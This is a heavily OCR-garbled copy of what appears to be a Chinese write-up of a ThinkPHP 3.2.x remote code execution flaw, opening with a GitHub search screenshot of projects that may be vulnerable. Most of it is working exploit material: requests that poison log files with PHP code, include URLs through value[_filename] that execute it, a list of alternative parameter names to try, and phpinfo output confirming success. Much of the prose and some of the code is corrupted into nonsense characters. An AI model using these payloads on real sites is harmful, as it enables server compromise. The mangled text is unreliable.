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BRIGithubRFIIEEREHEERHEEF I3, HXKB1TER244,8637,
Repositories (331 ] 260,930 code results Sort: Best match +
Code

Q litlepawn/littlepawn

Commits 217K Application/Home/Controller/IndexController.class.php

$this-rassign("data",%data);
Discussions Sthis->display();
Packages yelse{

4data=%house->order( 'date desc')->1limit(%limit,$pagesize)-rselect();
%this-rassign("data",3data);

Marketplace

lssues @ $data=%house-»order( 'date desc')-»limit(%pagesize)-rselect();
0
0
0

Topics Sthis->display();
Yelse {
Wikis @PHP  Showing the top eight matches  Last indexed an 15 Apr
Users
g yangshaoyang/estudy "~'._'./\:“. :7 E?J s ';’.—]-;VT ’T:_:"
Languages code/Application/Home/Controller/WeuiController.class.php -

Ematrh—Mf Tmat k" owealar+t e

[RIZ DT

0x01 WEHEAI:

#REL: ThinkPHP3.2.x_assign h AR — T EENE=->XEBF->FEXHES=>RCE
& LI-ERFCXRIRVE
B THRNR-REQXHRXRE

BEAN: &ig

mARE: mE

Wifurl: http://x.x.x.x/index.php?m=Home&c=Index&a=index&value[_filename]=.\A
pplication\Runtime\Logs\Home\21_06_30.log

¥r&: ThinkPHP3.2.3 RCE TEZZ X4 a2 HBHIT

0x02 H &M

EThinkPHP3.2 3fEZRMNEFH, MREABERPALLE, FEALHSTEEELRELR
W, RFRM Tassign FENRIREERE, NFFOFBRMGNassign HENE-—TZER

Z\
T o

https://mp.weixin.qq.com/s/_41Ze-aZ_302PmdQrVbpdQ

3/16



2021/7/13 LR iF;EHR] ThinkPHP3.2.x RCEJR i #H

THLER/ENdemo{i3:

in

o ZRRELRE

<7php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($value="'"){
$this—>assign($value);
$this->display();

demofti3 15 AR

MEFBENMIXIBIEdemoSBRANNAIE,BAIE: \Application\Home\Controller\IndexC
ontroller.class.php

RAANBFEHANERERLEDER, MAFTELIENNOER Y, ABHES, RIRSHA
=

\Application\Home\View\Index\index.html
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FERA, BMREF A E(display,fetch,show)#AILA; XEBfetchaB —L X5, Eifet
chiZF BB R{FEMHob_start()ITHAEHX, FEFPHPRIZANEIERMecho() &= HNE
HMEXMASILZE L, FrbAt&EfetchHEN NN ERBEZEHENIE, SEERERBRE

w Eexit()gidie();

i e i
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ThinkPHP3.2.35E %k Phpstudy2016 PHP-5.6.27 Apache Windows10

debugRAFABHAABRE—RXH, EZEHAMA,
1.debug %1

BEARGERBEBEES. BHiRBERRGIRE:

Request Response

[Raw | Params | Headers | Hex | /

-Jmu]wwumfﬁawnnanaum]

GET /index. php?m=—><{?=phpinfo();?> HTTP/1.1
Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh;
AppleWebKit/605. 1.15 (KHTML,
Safari/605.1.15

Accept:

Intel Mac 0S X 10_15_6)
like Gecko) Version/13.1.2

text/html, application/xhtml+xml, application/xml;q=0.9, image/

webp, */*;9=0. 8

Accept-Language: en-GB, en;g=0.5
Accept-Encoding: gzip. deflate

Connection: close

Cookie: PHPSESSID=bbr4bo jgcPtvdqpgPefracifés;
Upgrade—Insecure—Requests: 1

X-Forwarded-For: 8.8.8. 8

HTTP/1.1 404 Not Found

Date: Wed, 30 Jun 2021 07:54:07 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j
mod_fcgid/2. 3.9

X-Powered-By: PHP/5.6.27

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 2229

<!DOCTYPE htm!| PUBLIC "-//W3C//DTD XHTML 1.0

Transitional //EN"

"http www. w3, org/TR/xhtm! 1/DTD/xhtml 1-transitional. dtd">
<html xmins="http://www. w3. org/1999/xhtm| "><head>

<{meta content="text/html; charset=utf-8"
http-equiv="Content-Type">

<title>RGEEBRCtitIe

{style type="text/css">

*{ padding: 0; margin: 0; !

htm!| [ overflow-y: scroll; [ £ r_’fr‘:_’ﬂ/ =
body [ background: #fff; farﬁ*famnly Wfﬂ -
21l ell + 1l »||Tuna a eaarrh tarm N matrhac Lol el Latl sl | Tune a cparnh torm N matek
N, .
AREIEER:

GET /index.php?m=—-><?=phpinfo();?> HTTP/1.1

Host: 127.0.0.1
User—-Agent: Mozilla/5.0
AppleWebKit/605.1.15 (KHTML,
Accept:

https://mp.weixin.qq.com/s/_41Ze-aZ_302PmdQrVbpdQ
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Intel Mac 0S X 10_15_6)
like Gecko)

Version/13.1.2 Safari/605.1.15
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text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate

Connection: close

HEXHE’R (XERMIARENIogXHiKZ, ThinkPHPRIH &2 HEAEX)
\Application\Runtime\Logs\Common\21_06_30.log

HEXHAS:

ndexContreller. class. phpﬂ[. File.class. phpﬂ[. 21 06 30. logkd B 21 _06_30. 1lozE3 |E test. txtﬂ[. index. php

[ 2021-06-30T16:01:14408:00 ] 127.0.0.1 /index.php?m=——><?=phpinfo();?>
ERR: ikl : ——>

ERR: BNzl —>

L
2
3
i |[ 2021-06-30T16:16:53+08:00 ] 127.0.0.1 /index.php?m=—--><?=phpinfo();?>
b
3
i

MIEEHIES
http://127.0.0.1/index.php?

m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_0

6_30.log

01127.0.0.1 /index.php?m=-->

System Windows NT DESKTOP-AISL4DG 10.0 build 18363 (Windows 10) i586

Build Date Oct 14 2016 10:15:39

Compiler MSVC11 (Visual C++ 2012)

Architecture xB6

Configure Command cscript /nologo configure js "--enable-snapshot-build® "--enable-debug-pack” *--disable-zts® *--disable-
isapi” "--disable-nsapi* "--without-mssql” "--without-pdo-mssql® "--without-pi3web" "--with-pdo-
oci=c\php-sdk\oracle\x86\instantclient_12_1\sdk,shared" *--with-ociB-12c=c:\php-sdk\oracle
\xB6\instantclient_12_1\sdk,shared" "--with-enchant=shared" "--enable-object-out-dir=../obj/" "--enable-
com-dotnet=shared" "--with-mcrypt=static® "--without-analyzer" "--with-pgo"

Server API CGl/FastCGI

Virtual Directory Support disabled

Configuration File (php.ini) Path C:\Windows

Loaded Configuration File C:\phpStudy\php\php-5.6.27-nts\php.ini

Scan this dir for additional .ini files (none)

Additional .ini files parsed (none) \ (- 2, el 4 e B L

PHP API 20131106
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2.debugiRRAFAFE:

FEMNERERESHREHATA., S5 debugRXFRE, ERBERNASHESKICENEIAR

Fh AHRERARR

BREIEER:

GET /index.php?m=Home&c=Index&a=index&test=—-><?=phpinfo();?> HTTP/1.1
Host: 127.0.0.1

User-Agent: Mozilla/5.@0 (Macintosh; Intel Mac 0S X 10_15_6)
AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.
Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close
Cnnkia+* PHPCFCATN—-hArAdARnincO0t+uvdnnnOafran7fRA"

HEXHEE (XERRINEENIogXHIET)

\Application\Runtime\Logs\Home\21_06_30.log

) i bEog ) 3 K : http://127.0.0.1/index.php?
m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_
30.log
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127.0.0.1 /index.php?m=Home&c=Index&a=index&test=-->

System Windows NT DESKTOP-AISL4DG 10.0 build 18363 (Windows 10) i586

Build Date Oct 14 2016 10:15:39

Compiler MSVC11 (Visual C++ 2012)

Architecture %86

Configure Command cscript /nologo configure.js "--enable-snapshot-build® "--enable-debug-pack® "--disable-zts" *--disable-

isapi* "--disable-nsapi” "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-
oci=c\php-sdk\oracle\xB6\instantclient_12_1\sdk,shared" *--with-oci8-12c=c:\php-sdk\oracle
‘wB6\instantelient_12_1\sdk,shared" "--with-enchant=shared" "--enable-object-out-dir=../obj/* "--enable-
com-dotnet=shared" "--with-mcrypt=static" "--without-analyzer" "--with-pgo"

o CGl/FastCGl
Virtual Directory disabled . .
o W 27 EF o TSl
Configuration File (php.ini) Path C:\Windows (C T e
pfgeation’tie C:\phpStudy\php\php-5.6.27-nts\php.ini

3.3#&EFLEAND, EEXH

XMAN&ANE, LEAFTEABNEAXHRIRSSHE L, BEREEEXHEXI BT ERZE]

E_I-o

http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./test.txt

0x03 I

ik Adisplay 7 ik

assignA[FEA [ assign /7 1248 (645 Sthis—tVar

WKPHP\Library\Think View.class.phy hinkPHP\Library{I

hook::listen % fetch /7%
Behavior\ParseTemplateBehaviorZ /' run look::listen Flerec
Y linkPHP\Library\Think\\ .
P nf k 11 1

Think\\Template < 7 fetch Ty - . .

P Storage::load P& R M i, LIFOE
v PRl L T

[hinkPHP'\Library\ Think\Template.cl phy ThinkPHP\Librarv\Think ) = Z _'_J'J g 7[_'I‘J
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1. B R rYassign HERE—TEENFTELE:

XBAHIE: \Application\Home\Controller\IndexController.class.php

ow Help

lass.php

ParseTemplateBehavior.class.php

Think\Controller

index(
->assign(

->display()

2.0/ 17T E#H Nassign FEMMEL $this>tVarZ=£:

REB{AIE: \ThinkPHP\Library\Think\View.class.php

array_merge(

R ZHERLTUE

3. MELREHNdisplay5iEH, displayFiETF Q@B HRBERXEAZR, HIIERSOG S
ETIAESY S,

RWB{IE: \ThinkPHP\Library\Think\View.class.php
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R ZRRLTKET

4. F2FH#ENfetchHIEHR, EANSHAET, EFRESERBEBEIRAMMINNERXEUE (./Ap
plication/Home/View/Index/index.html) , Zf&, RAE BN IAERSIE Hthink, FTLATE
it Nelsen X, IKREXSthis>tVarZ=EM AR $params, ZE#H AHook::listen5iEH,

RWB{IE: \ThinkPHP\Library\Think\View.class.php

=i index.php View.class.php == ThinkPHP.php Think.class.php Hook.class.php File.class.php

Hook: :listen(

= ob_get_clean()

Hook::listen(

1

\Think

o ZHRLTRE

5.listenFiE4 B G, #H AexecHiEH:

RWB{IE: \ThinkPHP\Library\Think\Hook.class.php
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6. NexecHiEH, 45 HABehavior\ParseTemplateBehaviorZEdFirunf A4t E $para
ms XN HFEBEXHERIENE.

REBAIE: \ThinkPHP\Library\Think\Hook.class.php

R ZRRLIURE
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7.RREHANrunAER, —RIFIEG, #HAelsen X, EBAThink\TemplateZZifetch 3%
WL E$ data (AHFEHEXERZNTSE) #HITLIE,

REBHLE: \ThinkPHP\Library\Behavior\ParseTemplateBehavior.class.php

Ry ZRRLTUE

8.# AN Think\TemplateZEAffetch 5%, FKENEEFXHEKIZE, #HAStoragefloadFiEH,

XBBALE: \ThinkPHP\Library\Think\Template.class.php

loadTemplate

o ZRERLTRE

o
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9.IR# RlStorageMload FiEH, $_filename N ZBIKENEEZHEER, $SvarllhZei® A _
filename=AEXHRZIEA, $varsTRHZTNFEHextract5ERNEXTR_OVERWRITEZIATE
AN TEEHBITES, ZEincludeizBAEXHERRIZ, ERXHEESR,

REBHLE : \ThinkPHP\Library\Think\Storage\Driver\File.class.php

ParseTemplat

o ZHRSTRE

include .\Application\Runtime\Logs\Home\21_06_30.log
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Q D 127.00.1

100 1127.0.0.1 /index.php?m=Home&c=Index&a=index&test=-->

System Windows NT DESKTOP-AISL4DG 10.0 build 18363 (Windows 10) i586

Build Date Oct 14 2016 10:15:39

Compiler MSVC11 (Visual C++ 2012)

Architecture x86

Configure Command cscript /nologo configure.js *--enable-snapshot-build® *--enable-debug-pack” "--disable-zts" *--disable-

isapi* "--disable-nsapi® "--without-mssql” *--without-pdo-mssql® "--without-pi3web" "--with-pdo-
oci=c\php-sdkioracle\x86\instantclient_12_1\sdk shared™ "--with-oci8-12c=c:\php-sdk\oracle
xB6\instantclient_12_1\sdk.shared" *--with-enchant=shared" "--enable-object-out-dir=../obj/" "--enable-
com-dotnet=shared" "--with-mcrypt=static” "--without-analyzer" "--with-pgo”

Server AP| CGI/FastCGl

Virtual Directory Support disabled

Configuration File (php.ini) Path C:\Windows

Loaded Configuration File C:\phpStudy\php\php-5.6.27-nts\php.ini

Scan this dir for additional .ini files (none)

Additional .ini files parsed (none)

PHP API 20131106 fJ ] iTr’ f.—_; Ljri = |
PHP Extension 20131226

- e ATnea9s

0x05 ThinkPHP3.2 *& R A Z BIINES:
1.ThinkPHP_3.2Ff1ThinkPHP_3.2.1

REBBHLE : \ThinkPHP\Library\Think\Storage\Driver\File.class.php $£68-7917

/%%
* INE X4
* @access public
% @param string $filename X7
* @param array $vars f{EAZTE
* @return void
*/
public function load($filename, $vars=null){
if(!is_null($vars))
extract($vars, EXTR_OVERWRITE);
include $filename;

http://x.x.x.x/index.php?m=Home&c=Index&a=index&value[filename]=.\
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2.ThinkPHP_3.2.2f1ThinkPHP_3.2.3

REBHLE: \ThinkPHP\Library\Think\Storage\Driver\File.class.php

/%%
* INEXXMH
* @access public
% @param string $filename 3
* @param array $vars (EANZTE
* @return void

*/
public function load($_filename, $vars=null){
if(!is_null(s$vars))
extract($vars, EXTR_OVERWRITE);
include $_filename;

http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=.\

3.PREFMHTSHNKE

BZFEBThinkphpZF8cms, valuelJEARETE, UTHILHELE:

param
name
value
array
arr
info
list
page
menus
var
data
moudle
module
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B & payload 4 : http://127.0.0.1/index.php?m=Home&c=Index&a=index&info[_filena

me]=.\

S Z: http://www.thinkphp.cn/

MEZALIREELMARERVURERZERNXEEMIREHILNSANKBREBRS
R, RERXTHEHRLSDLERSE.

HBXEZH
ZRLRERIRLRBR FOBARAREN, HRERKRE—S0OR
BEREM. BEAEERNTWebiSiE, APTIRES. M#i, ANTRE
o, NERBFRE -SSR TRARR, RAERKSBIRARE
R

58] 13E[R X
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